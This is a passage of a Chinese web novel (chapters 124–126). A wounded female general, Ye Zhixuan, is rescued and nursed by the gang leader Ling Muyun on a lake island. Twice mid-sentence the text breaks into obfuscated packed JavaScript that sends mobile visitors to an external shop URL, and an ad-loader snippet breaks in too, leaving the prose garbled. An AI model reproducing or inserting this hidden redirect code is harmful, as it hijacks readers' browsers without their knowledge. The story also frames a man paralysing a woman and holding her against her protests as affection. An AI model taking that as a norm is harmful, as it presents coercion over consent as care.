幸好芷萱刚刚接手军队的时候,在楚州北部的三个重镇安插了自己的暗哨。当暗哨示警,得知那海从楚州东北部攻来,叶芷萱当即决定,与其等在楚州城坐以待毙,不如主动出击。 叶芷萱和丁鹏刚率军赶到淮州,便与敌军遭遇。双方交战三天三夜,叶芷萱不敌那海,溃败后退至霁月湖北部区域。 124. 第一百二十四章 芷萱见此情形,对丁鹏说道:“这样下去不行,我们可能顶不住那海的进攻。我看还是我来拖住那海,你回去调兵。” 丁鹏眉头紧锁,“调兵?去哪儿调兵呢?” 芷萱凝眉思忖片刻,“那海来势汹汹,看样子楚州也不一定能守住,这样,你拿着兵符直接去临昌报信。” “芷萱,还是我来引开那海的追兵,你回去调援兵。”丁鹏实在是怕芷萱出现闪失,那样他就对不起阳晨哥了。 “我一个女孩,去京城调兵不妥。”丰国虽没有明文规定女子不能出将入相,但建国至今却没有出现一个例外。芷萱怕自己这样冒失地出现在朝廷会招来非议,还可能会带来不必要的麻烦。 这个时候,叶阳晨建军还未成熟,日后他征战四方,自然会为巾帼女将向朝廷请功。从此丰国历史上出现了四位女将军,与男子同获殊荣。 芷萱这么一说,丁鹏当然明白她的顾虑,无奈之下,但也只好答应芷萱。他到了临昌后,把前线战况告知朝廷,献帝让自己的五弟项天带兵跟着丁鹏去支援。 临昌那一战,项天也是在满朝上下露了回脸。这回楚州有难,献帝也懒得排兵布将,他图省事,直接就派了项天去。这种填坑的事,项天也不愿计较,这些年他一想到祖宗的江山到他这一代已风雨飘摇就痛心疾首,大厦将倾他无回天之力,只能尽绵薄之力用碎瓦补天,熬一天是一天罢了。 丁鹏离开楚州后,那海就步步紧逼,最终将叶芷萱逼到霁月湖边。双方鏖战,敌军乱箭之下,叶芷萱中剑。 叶芷萱忍着巨痛,幸好跳上湖边一艘小破船,用力撑着船桨向湖心划去。见追兵远远地看不太清了,叶芷萱才松了口气,她终于撑不住了,一头栽倒在船中晕了过去。那只小船不知在湖中漂了多久,在翌日傍晚悠悠荡荡地漂到了霁月湖中的湖心潭岛。 霁月湖水域面积300平方公里,湖的中央是一座约30平方公里的岛。岛名为湖心潭,岛上住着天下第一大帮云鹤帮。只是云鹤帮很少在江湖走动,帮中的人几乎世世代代都在湖心潭岛上过着半隐居的生活,所以云鹤帮虽在江湖上名声显赫,但鲜有人知道他们的踪迹,更对这个帮的一切事务知之甚少。 云鹤帮的帮主凌牧云是个霁月清风、丰神如玉的赤胆男儿,平日里经常杀富济贫,如遇上走霁月湖水路的贪官,他直接把财物扣下。时间一长,霁月湖难免遭官员嫉恨,好事的达官显宦便奏明皇上,说霁月湖一带有水匪,皇上被煽动便派水兵前来剿匪。那一次十几艘战船,还没行至湖心潭岛便都沉了,两千水兵也全军覆没。而后,皇上又几次派兵来剿,但也都无功而返。 日子一久,皇上也灰了心,又想着水匪除了劫船夺财也没有大肆兴乱,便再也懒得“针锋相对”了。只是自那以后,官船鲜有再从霁月湖水域走。那些不信邪的官船几次到了霁月湖的地界,莫名就失踪了。而后霁月湖渐渐成了丰朝的国中之国,官兵无人问津、无人敢来,这样一来,霁月湖可就真的成了世外桃源,住在这里的云鹤帮的人们过着逍遥自在的生活。 这一天,夕阳西下,余晖影落,帮主凌牧云像往天一样,正在湖边钓鱼。落日垂钓是他在孩提时便养成的习惯,长大后,他发现钓鱼可以静心养性,也可以忘记一切烦忧,他就更喜欢钓鱼。凌牧云平生向往的就是“碧水闲垂钓何须唱晚归”的诗意生活,他可以永远都不离开霁月湖,直至终老。 忽然,凌牧云见一艘小破船慢慢朝岸边靠了过来,隐隐约约地他见船上还躺着一个人。凌牧云有些警觉,他猜船上的人是朝廷派来的探子。不过凌牧云也不慌乱,别说船上就一个人,就是来一群,他也能让贼人有去无回。 待木船靠岸,借着晚霞流光,凌牧云看清了叶芷萱的脸,她虽受了伤,但容颜依旧淡雅脱俗,气度清华,令凌牧云心中一荡。 凝视片刻,凌牧云觉得这张脸有些熟悉,他心中一颤,不由得想起两年前,自己去洪州郡看望病重的老朋友时,途中遇到的那个潇洒飘逸的清秀“男子”。 洪州郡李府的少公子李冲与凌牧云是挚交,只可惜李冲体弱多病,年纪轻轻便卧床不起,将不久于人世,这才捎书信,让凌牧云来洪州见最后一面。 李冲弥留之际,除了想在临终前见见旧友,他心中还有一件放不下的心事,那就是李家有一把祖传的宝石弓。此弓名为灵云弓,弓身乃玄铁打造,传说是西汉飞将军李广用过的。可遗憾的是,李冲膝下无子,无法将此信物传给子女,如果祖传宝弓没有一个放心的归宿,他死不瞑目。 思量许久,躺在病榻上的李冲便想将这把弓转赠凌牧云。一是全了他们兄弟之间的情谊。二是李冲深知凌牧云好弓箭,有百步穿杨之能。所谓宝剑赠烈士,如此之下,把祖宗留下的宝物赠予好友也不算辱没。三是凌牧云是爱弓之人,自然会好好爱护它,李冲也就安心了。 自从李冲患重病的消息在江湖上不胫而走,很多贼人便惦记上了李宅的这把弓,甚至已经有几个强盗偷偷潜入府中,只是藏弓的地点隐蔽,才没有让贼人得逞。 李冲把弓拿给凌牧云时,凌牧云再三推脱,可李冲坚持良弓配英豪。凌牧云却之不恭,无奈之下,他只好勉强答应下来。 不多时日,李冲去世了。料理完李冲的后事后,凌牧云便踏上了回家的路。在洪州郡的城郊外,凌牧云与叶芷萱相遇相识了。 当时,叶芷萱正要去海棠谷找闺蜜温映雪玩,路上走累了,就坐在小山坡上的阴凉处休息。这时,凌牧云缓缓从山坡下的树林里走出来。他一身浅蓝锦袍,头戴白玉冠,身上背着一把弓,手持云海蛇矛,那朗月清风、温润如玉的翩翩气度还是令芷萱心中微漾。 见到凌牧云的绝俗容颜,芷萱不由心里暗想:“这是哪里的公子?竟有如此气质风度?” 正想着,她听见不远处有急促的马蹄声传来。为首的头目面目狰狞,横眉竖眼,冲着凌牧云喊道:“小子,你身上背的可是灵云弓?” 出于大事化小的原则,凌牧云本不想承认,可对方肯定是有备而来,他也知道瞒不住,于是坦率道:“是的!” 贼头目狡黠一笑,“把弓留下,放你一条生路。” 凌牧云面色平静,“不把弓带回去,恐怕家里人不答应,恕难从命。” 头目眉毛皱起,“小子,你要是不识抬举,那就不要怪我不客气了。” 听着他们的对话,山坡上的叶芷萱心里一惊,她早就听人说过洪州郡有把世上罕见的镶嵌宝石的灵云弓。叶芷萱灵机一动,想着如果能获此宝物,送与哥哥叶阳晨作生辰贺礼也是极好的。 叶芷萱正打着自己的小算盘,见三十多人同时围住了凌牧云,每个人都面目狰狞、眼神阴鸷,霎时他们个个刀剑出鞘。看得出来,这些人的身手在江湖中也是偏上的水平,芷萱不知这个风流俊逸的男子能不能是那些人的对手,心中微微捏了一把冷汗。 凌牧云不见任何慌张,他挥舞起云海蛇矛,左击右踢,将强盗一个个打落马下。凌牧云动作敏捷,身轻如燕,一会儿直窜云霄,一会儿俯冲飞旋。 武林高手芷萱是见得多了,但身法如此利索,招式又如此华美的高手还是不多见,看得叶芷萱心中一震。 可凌牧云下手并不狠厉,强盗虽全部躺下,但伤的并不重。领教了凌牧云的身手,这些强盗也便落荒而逃。一番打斗,凌牧云依旧一尘不染,这不禁令芷萱对他的印象也是颇佳。 叶芷萱走下山坡,想跟凌牧云聊聊那把弓的事,她实在是想得到那把弓。 叶芷萱依旧是男儿装扮,身穿浅蓝束腰修身长袍,腰间系着嵌蓝宝石的同色腰带,手中轻摇一把山水折扇,她走过去,拦在了凌牧云面前,语气不见一丝随和,“能聊聊吗?” 凌牧云惊艳于面前这个“男子”的潇洒飘逸,以及英气中的几分豪情。凌牧云语气温和,“公子要聊什么?” 叶芷萱淡定自若,“可否将你的弓赠予我?交换的条件由你定。” “公子这是在说笑了。”凌牧云觉得面前之人想法如此怪异,萍水相逢就找人要东西,还一副势在必得的样子,真是可笑又可气。 “我并未在说笑,我是真喜欢你这把弓。”芷萱与叶阳晨和叶清扬一样,性格里张扬强势,而且她出身武林豪门,哥哥父亲又都是响彻江湖的大人物,她确实有骄傲的资本。 凌牧云听到叶芷萱那样说话,心里多有不快,心想:“这又是什么逻辑,你喜欢我就要给你。”他虽然心里这样想,说话依旧保持着风度,“对不起,这是朋友的信物,千金不换。” “你会射箭吗?就敢背着它?” “略知一二。” “你这把弓是世上难得的宝物,你如果只是懂些皮毛的话,持有这把弓未免暴殄天物,也许我比你更适合做它的主人。” 凌牧云差点被气笑了,这还真是强盗逻辑,如果自己的东西有更适合的人,自己就不配拥有?就要转送别人?但是凌牧云对眼前这个淡雅脱俗的“男子”,却怎么也讨厌不起来。他反问道:“我虽只是懂些皮毛,可我怎么知道您比我更适合做这把弓的主人呢?也许你也只懂得皮毛。” 叶芷萱一摇折扇,“那好,我们比试一下!你要是输了就把弓给我。” 凌牧云正色道:“我刚刚已经说了,这是朋友的遗物,我是不会用它与你打赌的。” “鼠辈无能,这点胆量都没有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665496|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见眼前的人如此狂悖,凌牧云也被激起几丝怒气,“怎么比试?比射箭?”他自认如果比射箭他当世无双,即使是比武,天下能是他敌手的也不多。 叶芷萱虽然不至于不会射箭,但是箭法并不高超。何况如果在这里比赛的话,势必就会用凌牧云身后的那把弓。而叶芷萱看了看那把弓,对于女孩子来说太大又太重了,用起来不趁手。于是说道:“咱们俩比准头,我们可以用任何东西,哪怕石子也可以,打下远处的最细的一束柳枝。” 芷萱飞暗器的本事可是受过高人指点,说是独步天下也不为过。 顺着叶芷萱指的方向,凌牧云见远处有棵垂杨柳,柳枝倒垂着。凌牧云身上只有那把弓,如果想打落柳枝,只能用箭。可是他自己也心知肚明,用箭射落柳枝,他是做不到的。不是箭法的问题,而是箭头太粗,柳枝柔软。对于他来说,射中容易,射落太难。 但是凌牧云转念一想:“既然开口问了怎么比试,现在却又怂了说不比,好像也不是英雄男儿所为。”何况凌牧云也是个不喜服输的性子,他还是想比比看。而且凌牧云也很好奇面前的这个“男子”是否真有打落柳枝的本事,他是懂武的,要想打落柳枝,必须出手极快才行。 凌牧云身上没有带飞镖之类的东西,即使捡个石子他也没那个准头。凌牧云是有机会学习撇飞镖暗器这类的武功的,只是他不喜欢,还有他总觉得掷暗器不够光明磊落,所以自小便没学这类功夫。 凌牧云抽出一支箭,将箭搭在弦上,他微微侧身,眼睛单闭,缓缓拉开了弓。仅仅从凌牧云拉弓的姿势,以及拉弓时毫不费力的样子,叶芷萱便推测出凌牧云箭法超群,不禁惊讶中带了一丝钦佩。 随着凌牧云右手松开,箭随之飞出,转瞬之间,远处柳枝被射中。只是柳枝弯折后却藕断丝连,却没有被射落。凌牧云有点失望,但这个结果他也早就预料到了,只是不死心还想一试。 凌牧云转头看向叶芷萱,心里正在猜测对方会用什么击落柳枝。叶芷萱把折扇别在腰间,然后晃动着右臂,飞镖被攥在手里。凌牧云还没有看清楚,叶芷萱迅速一抖手,一枚三角飞镖射了出去,随即柳枝掉落。 凌牧云叹服,但好奇道:“你是用什么把柳枝打落的?” “当然是暗器,我的燕翎羽。”凡是暗器,芷萱都能使的得心应手,而且她很喜欢研究这些,这个燕翎羽的暗器就是芷萱按照自己的喜好和手形做的,她使得非常顺手。 “我能看看吗?”牧云追问着。 “这个不行。” 凌牧云毫不退让,“那你就拿不走我的弓了。” 正所谓君子不夺人所爱,以叶芷萱高傲的性格,是不屑硬抢这样的方式获得那把弓的。思忖片刻,她也只好把燕翎羽飞镖拿给凌牧云看。叶芷萱伸出手时,凌牧云瞬间被她的纤纤玉手吸引住了。 凌牧云在心里暗忖,“一个男的生得手如柔荑,肤如凝脂,真是怪哉!” 叶芷萱也注意到凌牧云的眼神,连忙把手缩了回来。 凌牧云自知失礼,眼神收了回来。他仔细看了看飞镖,“仁兄的飞镖,在下佩服。” 叶芷萱有些得意,“这回可以把弓给我了吧?” 凌牧云再三嘱咐道:“弓给你可以,只是还请公子好好保管,无论何时都不能弄坏了,谢谢。”此时凌牧云有点后悔自己刚才的鲁莽,真不该跟芷萱打什么赌。毕竟,这张弓算是李冲的临终托付,更是朋友的遗物,他怎么都不该把弓给了别人。他也不知自己刚才是怎么了,怎么就鬼迷心窍地答应同芷萱比试。尽管凌牧云不是很情愿,但愿赌服输,也只能把弓给了叶芷萱。好在凌牧云觉得芷萱看上去并非恶人,他也稍稍宽心了些。 “你放心,那是自然。”叶芷萱接过弓,转身欲走。 凌牧云突然叫道:“慢着。” 叶芷萱转过头,“还有事?” 凌牧云拱拳道:“在下凌牧云,敢问仁兄名讳?” 刚才凌牧云盯着自己的手看,让叶芷萱心里不太舒服,于是略带刻薄,“本姑…我叫什么,关你什么事?你是不是想知道我的名字,然后找机会再把这弓给要回去?” 堂堂的云鹤帮帮主从来都是一呼百应,还从来没有人用这种态度跟他说话。虽然叶芷萱说话不是很礼貌,不过看着叶芷萱那张俏脸,凌牧云怎么都没办法生起气来。何况江湖中人出于特殊原因不愿报出自己姓名,也是常有的,他也不能强求。 连个道别的话都没有,叶芷萱便离开了。 望着叶芷萱的背影,凌牧云喊道:“公子,何时能再见?” “有缘自会再见。”说完,叶芷萱头也没回,便消失在凌牧云的视线了。 125. 第一百二十五章 那次分别后,这两年凌牧云也偶尔会想起叶芷萱,只是不知道对方姓名,又不知人家家住哪里,自然也无法寻找,所以也只能随便想想罢了。有时,凌牧云会戏谑自己,他为何会对一个“男人”念念不忘的,简直不可思议。但芷萱无论是容颜还是气度,就是让人见之难忘。凌牧云原以为与芷萱今生无缘再见,可今天却在云鹤帮的地界重遇了。 凌牧云收敛思绪,心中犯疑,“是谁把叶芷萱伤成这样的?她又为什么会穿着铠甲?”不过不容凌牧云多想,当务之急是怎么给叶芷萱疗伤。 凌牧云本想把叶芷萱带回自己的家疗伤,可再一思量,叶芷萱身穿铠甲,这个身份不便让更多人知道。尽管云鹤帮里的人亲如家人,凌牧云身边也都是多年的亲信,应该不会有任何人走漏消息。可忆起当初叶芷萱连名字都不愿意告知自己,联想现在,凌牧云猜测以叶芷萱的性格,应该同样不想让别人知道她受伤的事,所以他要找个没有外人的地方给芷萱疗伤。 凌牧云灵机一动,决定带叶芷萱去自己平时练功的小岛上去疗伤。霁月湖中最大的岛便是湖心潭,湖心潭上生活着近万人。除此之外,还有一个四万平米的圆形小岛,叫做“水望云”,这是凌牧云的私人领地。没有他的允许,无人敢私自登岛。那是凌牧云平时最喜欢待的地方,每隔几天,凌牧云处理完帮里的事,都会去水望云小岛小住几天。水望云岛上有他珍爱的兵器,有他收藏的字画,还有他喜欢养的花木。 凌牧云将芷萱抱上自己的小船,半个时辰后,他们来到了水望云小岛。下了船,凌牧云一路横抱着叶芷萱去了自己的木屋。叶芷萱一直是半昏迷的状态,眼睛也一直没有睁开,只是眉头一直紧锁着。 到了木屋,凌牧云拿出自己的药箱。当务之急,是要尽快把叶芷萱胸前的箭拔出来。凌牧云善弓箭,因此处理箭伤也颇有经验。中箭的地方已经被鲜血染红了,且铠甲,衣服、箭和身体粘连在一起,为防止触碰伤口,凌牧云只有用剪刀和锋利的刀把铠甲割断。他费了好半天,终于脱掉芷萱的铠甲和外衣,露出叶芷萱的中衣。凌牧云一直认为叶芷萱是个男的,直至帮她解开中衣,看见里面的白绸肚兜,他彻底傻眼了。 凌牧云迟疑了,他不知道还该不该继续为叶芷萱疗伤。两人不是夫妻关系,甚至连心上人都算不上,正所谓男女授受不亲,凌牧云不能做越礼之事。 须臾,凌牧云纠结地把手指探过去,发现叶芷萱的鼻息越来越弱。思前想后,为了救人,凌牧云顾不了那么多了,只好解开叶芷萱的肚兜。灯光之下,雪肤和鲜血同样刺目耀眼,凌牧云没有任何杂念,仔细检查着叶芷萱的伤口。 凌牧云庆幸自己做了这个艰难的决定,因为他看到伤口四周已经慢慢变紫化脓。凌牧云判断出叶芷萱中的是支毒箭,只是庆幸的是,箭的毒性不大。但中箭的位置在锁骨下方,离心脏很近,如果不及时治疗,毒素蔓延到心脏,就会有生命危险。凌牧云清楚,只有把毒血用嘴吸出来,才能让叶芷萱转危为安。 凌牧云先是慢慢把叶芷萱胸前的箭拔出来,虽然她给芷萱上了点麻药,可拔箭的过程还是难免有些痛,叶芷萱眉头皱得更紧了,昏迷之中只是不停地低声重复说着“痛”字。 接下来就是要吸出毒血,凌牧云心中再次天人交战。时间一秒秒地过去,他知道再这么拖下去,如果毒血攻心,那么大罗神仙都救不活芷萱了。最后,凌牧云还是冒着被叶芷萱痛恨一辈子的风险,将嘴慢慢贴向了芷萱的伤口处,开始用力吮吸着芷萱体内的毒血。 可能是吸毒血的过程太痛了,昏迷之中的叶芷萱稍稍有了些意识,她感觉有人正在“轻薄”自己,可她的四肢无法动弹,只是嘴里轻声呢喃着,“不要这样,你混蛋……”可话刚说到一半,叶芷萱又疼得昏迷过去。 毒血完全吸出来后,凌牧云帮着叶芷萱简单处理了一下伤口,敷上了家中祖传的药膏。随后,他帮叶芷萱把伤口包扎好,又找了自己干净的内衫帮叶芷萱换上。也许是忙得慌乱,也许是心情紧张,凌牧云额头上尽是汗水。 叶芷萱一直在昏迷,凌牧云只好在夜里喂她喝一些米水,尽可能的帮她补充一些体力。这一宿,凌牧云几乎没有合眼,就守在芷萱的床边。只要是发现芷萱的樱唇干了,他就用小勺喂一些水帮着润润。 翌日午后,叶芷萱总算醒来。四下环顾,看着陌生的环境,她渐渐想起自己当时是中了敌军的箭,至于后面发生的事,她只能隐隐约约记得一些片段。 这时,凌牧云走了进来,“你醒了?” 看见凌牧云,叶芷萱先是一愣,觉得此人有些面熟。很快她就认出了凌牧云,记得自己当初在洪州郡曾跟面前这个男子打赌,最后自己赢了那把举世无双的灵云弓。可是芷萱有些诧异,这个人怎么会在这里? 叶芷萱眉尖若蹙,声音十分虚弱暗哑,“这个屋子里…就只有你一个人?” “不是还有你吗?”凌牧云并不懂芷萱话里的意思。 芷萱声音沙哑,“那是你救了我?”叶芷萱之所以急着问这些,是因为她想起了昨晚有个人替自己治伤,那人不仅解了自己的衣衫,看了自己的身体,而且还帮自己吸了伤口处的毒血,这种“轻薄”自己的行为,芷萱想想就羞愤难当。当时她处于半昏迷的状态,并不十分确定那人是男是女,也不确定那个“坏人”是不是就是眼前的这个人,所以芷萱才反复确认心中疑问。 “是的。”凌牧云如实答应。 听到凌牧云这么爽快就承认了,芷萱的怒气升腾之前,脸先是不自觉地瞬间红了。 叶芷萱冷着脸道:“你过来…一下!” 凌牧云不明所以,于是走近了些。 叶芷萱面带寒霜,“麻烦再近…一些。”没达到自己目的前,芷萱只能对凌牧云的态度稍稍好一些。 凌牧云听话又凑近了些,他以为芷萱是要与自己说什么,身体不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715089|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地前倾。 此时,叶芷萱身体软弱无力,伤口也时时隐隐作痛,可好强的她还是用尽了全身的最后一丝力气,抬起右手给了凌牧云一个耳光。由于叶芷萱伤得比较重,所以那个耳光并没有什么力度,但即使如此,她还是觉得出了心中一口恶气。 凌牧云先是一怔,很快反应过来叶芷萱为什么那么生气,“姑娘,昨天是情非得已,我本无轻薄之意,还请勿怪罪。你中的箭有毒,我总得救你性命为先,如果迟些……” 这个时候芷萱的心很乱,根本听不进去这些,她哑着嗓子喊道:“我不要…听你说,你个流氓…你给我滚。” 见芷萱情绪这么激动,凌牧云急得连忙上前,安慰道:“你要是想打我是可以的,可是总要等你的伤完全好了再说。” 刚才芷萱打凌牧云的那一巴掌用力过猛,扯到了伤口,此刻她感觉伤口处巨痛,眉头也跟着越皱越紧。 见芷萱脸上的神情渐渐不对,又瞟到她身上的白色内衫已被鲜血染得通红,凌牧云顿时惊慌失色,知道芷萱的伤口肯定是又裂开了。 凌牧云连忙下意识地伸手去解叶芷萱的衣衫,想看看伤口的情况。 叶芷萱忍着疼,横眉怒视,“你要…干什么?你敢…再碰我?” 凌牧云的手停在半空中,不知该如何是好。他眉毛一挑,温柔道:“我不会让你死的,让我看看。你想打我什么时候不行,偏挑这个伤口未愈合的时候。” 芷萱眼神寒厉如锋,“我说了不行,你要是再‘轻薄’我,我真的会杀了你。” “姑娘,我真的没有轻薄你之心,就算你以后恨我,要杀我,我还是要救你。”说完,凌牧云点了芷萱的穴位,芷萱动弹不得。 此时此刻,即使凌牧云不这么做,芷萱想动弹也是不容易了。可凌牧云看出芷萱的个性,他知道自己再帮着疗伤,芷萱肯定还会拼死反抗,所以凌牧云只能出此下策了。 芷萱横眉怒视,“混蛋、流氓,你快解开我穴位,停止做任何事,否则我一定血债血偿。”芷萱太愤怒了,也顾不上涵养和礼貌了。 凌牧云玩笑道:“咱俩之间哪有什么血债啊?你为什么说得那么严重?而且你糊涂了,即使有的话也是你欠我的血债,而不是我欠你的。你想想,要不是昨日我帮你包扎止血,你要多留多少血啊?所以是不是你欠我的?” 凌牧云并不是一定要在这个时候与芷萱开玩笑,而是他要帮着芷萱转移注意力,那样芷萱就不会感到伤口那么痛了。 芷萱是太气了,所以适才才会语无伦次,可她一听凌牧云的话,鼻子都快气歪了,甚至比刚才更加气了,“你混蛋,王八蛋,我恨死你了。” “恨吧,我让你恨,恨多久都行。你骂我,我还是要帮你疗伤的,这件事不做商量。”牧云也不再与芷萱玩笑,她再次解开了叶芷萱的内衫,霎时,雪白和鲜红再次冲击了他的视线,也撞击了他的心,令牧云心疼心痛。 126. 第一百二十六章 衣衫被解开的那一刹那,叶芷萱只能羞恨地闭上眼,扭过头去,可是委屈愤恨的眼泪哗地一下流了下来,从小到大,她还从未受过这样的委屈。芷萱很想再扇凌牧云一个巴掌,或者把他推开,但是芷萱此时已疼得撕心裂肺,根本无力再抬起胳膊了,她甚至连骂人的力气都没有了。 凌牧云仔细帮她处理着伤口,叶芷萱紧紧咬着嘴唇,恨恨地低声说:“今日你这样对我,他日我定要杀了你血我今日之辱。” 可无论叶芷萱如何谩骂和威胁,也无论她怎么摆脸色,凌牧云都听而不闻,视而不见,只是安静地帮着芷萱止血。 未几,芷萱说累了骂累了,终于闭言歇语,凌牧云这才边帮她处理伤口边平静说道:“你也不想想,如果我真是好色之徒,如果我真是卑鄙小人,如果我真想轻薄你,凭你昨晚昏迷的状态,凭我的武功,你的身子早就被我拿走了。你这个不懂感恩的人,我昨夜救你一命,昨晚又守了你一夜未睡,换来的就是你的恨,我也真是冤啊!” 虽然凌牧云说这些话时语气是那般平淡,但是芷萱还是能听出他的失望情绪,芷萱虽任性,但也不是分不清是非的人,她知道如果不是凌牧云救自己及时,恐怕自己的小命早就没了。但是女儿家的名节在芷萱心里也同等重要,她就是咽不下这口气。叶芷萱也觉得自己有一点点理亏,于是不再反驳。 两人沉默片刻,凌牧云又开口道:“如果你要杀我,我愿意死在你手里,我若是眨眨眼睛,就不是英雄好汉。如果你不杀我,我愿意为你负责。” 芷萱眉毛一挑,“负责?你什么意思?你想怎么负责?” 凌牧云坦然道:“你想让我怎么负责,我就怎么负责。我看过你的清白之身,为了你的名节,我愿意娶你。” 话音落下,叶芷萱更加羞怒,“你想得美,你死了这条心吧,我不会嫁人,更不会嫁给你的。” 凌牧云微微展颜,“什么话别说得这么绝对,小心打脸。你不用这么快就全盘否定,以后来日方长,你可以慢慢想用不用我负责。” “我不用什么慢慢想,我的头脑又不是不清楚,我很确定我恨你,我讨厌你。”说着说着,叶芷萱的音量又高了几分。 凌牧云莞尔,“你这么激动做什么?可能你能拒绝我,但是你无法拒绝缘分的。你没听过一句话吗?天道有轮回,缘分饶过谁?” 叶芷萱欲言又止,她实在不知再说什么,她也拿凌牧云彻底没有办法了。叶芷萱不知凌牧云的脾气为何那样好,要是一般的人被自己这样骂着,早就翻脸了,可凌牧云始终是那么云淡风轻,是那么洒脱、随和。 伤口重新被包扎好,凌牧云又拿了一件干净的内衫帮叶芷萱换上。换衣的整个过程,芷萱羞得不敢看凌牧云一眼。昨夜凌牧云帮她换衣衫时,芷萱毕竟是昏迷的状态,而现在她是清醒的,眼见着凌牧云看遍自己的身体,感觉到凌牧云触碰着自己的雪肤玉臂,芷萱羞恼伤心至极。 凌牧云温声警告道:“如果你还想让我再帮你止一次血的话,你就再乱动一次。” 叶芷萱恨意难平,干脆又扭过头去,不愿再多看凌牧云一眼,只是那分怒气仍回荡在心间。当下她心里也是后悔极了,早知扇凌牧云一个耳光会付出这么大的代价,她一定选择暂时隐忍一下,等自己身体完全康复了再去扇这个耳光。 重新包扎好后,凌牧云暖心道:“你稍稍躺一下,我去给你拿点吃的来。”岛上现在只有牧云和芷萱两个人,所以每日饭食都要凌牧云自己亲做。牧云做这些俗事也不嫌烦,水望云岛这里水天相接,宛若世外仙境,烧菜煮饭到了这里都变成了风雅之事。 少时,凌牧云端着一碗稀饭走了回来,他扶着叶芷萱坐起来靠在自己的怀里。 芷萱愠怒:“你要干什么?你滚开,你不许抱我。” “我不是要抱你,是要喂你吃饭。” “你坐在我对面不是一样可以喂我?分明是想占便宜。” 凌牧云解释着:“那样我怕你不舒服,你靠着我要好些。” “你…你怎么可以这么无赖?” 凌牧云不理睬芷萱,只是舀了一勺粥,轻轻吹了吹,“张嘴!” 叶芷萱扭过头去,紧闭着嘴,毫不配合。 凌牧云哄着叶芷萱,“芷萱,我们吃一点。” “我不吃。” “你不吃我就这么一直抱着你,反正我又不吃亏。” “你无耻……” 凌牧云再次把勺子送到芷萱嘴边,“我无‘齿’,所以我吃不了东西,你有齿,那你还不快点吃?” 总不能就这么被凌牧云一直抱在怀里,芷萱只好“就范”。可她刚要张嘴吃,眉头忽地又微蹙起来,“你怎么知道我叫芷萱的?我从来没有告诉过你啊!” 凌牧云面色一怔,他是劝芷萱吃饭时无计可施,才脱口而出说出了芷萱的名字。 “你到底怎么知道的?”叶芷萱语气冷寒,眸光如刀。 被芷萱这么一质问,凌牧云尴尬地说不出话来,但他总不能说出实情。 芷萱细细思索着,总感觉自己忽略了什么细节,她突然想起来自己的肚兜上绣着自己的名字,毫无疑问凌牧云是昨晚给自己治伤的时候看见的。刹时,叶芷萱气得连骂人的力气都没有了,“滚开,我不要看到你。” “这可由不得你。”凌牧云本不是这么脸皮厚的人,只是他现在要照顾芷萱,并且这种感觉是那么强烈,故而无法对芷萱的话听之任之。 “我叶芷萱发誓,如果我不杀了你,我就……” “你就什么?杀不了我就嫁给我吗?”现在想来,凌牧云不得不承认,他从第一眼看见叶芷萱,就对这个女孩的英姿气度有着莫名的好感,否则也不会把朋友赠给他的宝弓转送给叶芷萱。只是那时的凌牧云,一直以为叶芷萱是个男的,没有生出男女之情罢了。昨夜为芷萱治伤,他知道芷萱是女孩,封印在他心里的感情算是瞬间打开了。 叶芷萱又轻声骂道:“你这人现在怎么那么没皮没脸啊?两年前见到你,你也不是这样啊?算我当初瞎了眼。” “原来你还记得两年前,我还以为你忘记了呢。”说这话时,凌牧云语气里有着微不可察的伤感,“我如此没脸没皮,只是因为你受了伤,我没有办法,所以只能请你原谅,请你快点好起来。” 自己这么对待凌牧云,凌牧云都不带半分怒气,芷萱感觉自己的气都打在了沙袋上,她觉得再跟凌牧云多说无益,于是转变策略,故意沉默不语表达对凌牧云的憎恶。 见叶芷萱仍不肯吃饭,凌牧云再次说道:“你刚刚打也打了,骂也骂了,如果还想继续打我骂我的话,你总要吃饱了,才有体力啊!” 叶芷萱不知为什么,听着凌牧云哄着自己吃饭,她的心里竟生出一丝连自己都未感知到的暖意。从小到大,除了父母,就只有哥哥和弟弟总是让着芷萱。但是父母毕竟不懂小女孩的心事,叶阳晨与叶清扬的性格又过于冷傲,即使是谦让她,也都给人一种硬邦邦的感觉。所以从小到大,叶芷萱的身边,并没有一个像凌牧云这般温柔的男孩子。 见芷萱这么执拗,凌牧云心中也升出一丝不快。堂堂云鹤帮的帮主,赫赫威名,呼风唤雨,他本就不是一点脾气都没有的人,只是关心在乎芷萱的安危 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,才放下自己的面子和自尊心。这下凌牧云打定主意,芷萱不说吃东西,自己绝不再多劝一句了。想到这里,他把粥碗放下,只是将自己的双手环抱于芷萱的腰间不再说话。 屋里很安静,这种安静令芷萱很不舒服,被凌牧云这样抱着芷萱更不舒服,她轻轻扭了扭身体,可牧云的双手没有丝毫挪动。芷萱不敢再用力挣脱,她是真怕自己的伤口再挣开,那样她会再痛一次。而且伤口再流血的话,就又给了凌牧云“轻薄”自己的借口,这才是芷萱最顾忌的。 时间一分一秒地过去,被凌牧云这样抱着,芷萱难受别扭极了,可她骨子里很倔强,又从不服输,向凌牧云低头的话,她是真说不出口。良久,芷萱嘴唇翕动数次,可话还是无法从口中说出来。她蹙了蹙眉,用力咬唇道:“粥凉了。” 